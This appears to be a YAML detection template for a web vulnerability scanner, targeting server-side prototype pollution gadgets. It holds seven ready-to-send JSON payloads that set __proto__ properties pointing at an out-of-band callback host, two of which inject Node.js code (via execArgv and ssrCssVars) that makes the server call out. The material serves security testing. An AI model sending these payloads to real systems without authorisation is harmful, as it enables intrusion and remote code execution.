prototype-pollution-gadget-detector.yaml

id: prototype-pollution-gadget-detector
info:
  name: Prototype Pollution Gadget Detector
  author: nullenc0de
  severity: high
  description: |
    Detects potential prototype pollution gadgets in web applications that could lead to SSRF, RCE or information disclosure.
  
  # References for the issue
  reference:
    - https://www.yeswehack.com/learn-bug-bounty/server-side-prototype-pollution-how-to-detect-and-exploit
  tags:
    - prototype
    - pollution
    - oast
    - ssrf
    - rce

requests:
  - raw:
      - |
        POST {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        
        {
          "__proto__": {
            "baseURL": "https://{{interactsh-url}}"
          }
        }

      - |
        POST {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        
        {
          "__proto__": {
            "baseurl": "https://{{interactsh-url}}"
          }
        }

      - |
        POST {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        
        {
          "__proto__": {
            "proxy": {
              "protocol": "http",
              "host": "{{interactsh-url}}",
              "port": 80
            }
          }
        }

      - |
        POST {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        
        {
          "__proto__": {
            "cc": "email@{{interactsh-url}}"
          }
        }

      - |
        POST {{BaseURL}} HTTP/1.1
        Host: {{Hostname}} 
        Content-Type: application/json
        
        {
          "__proto__": {
            "execArgv": ["--eval=require('http').get('http://{{interactsh-url}}');"]
          }
        }

      - |
        POST {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        
        {
          "__proto__": {
            "ssrCssVars": "1};process.mainModule.require('http').get('http://{{interactsh-url}}');//"
          }
        }

      - |
        POST {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        
        {
          "__proto__": {
            "host": "{{interactsh-url}}"
          }
        }

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
          - "smtp"

      - type: regex
        regex:
          - "([a-zA-Z0-9-]+\\.)*[a-zA-Z0-9-]+\\{{interactsh-url}}"
        part: interactsh_request

    extractors:
      - type: regex
        name: ip
        internal: true
        part: interactsh_request
        group: 1
        regex:
          - "Host: ([a-zA-Z0-9.-]+)"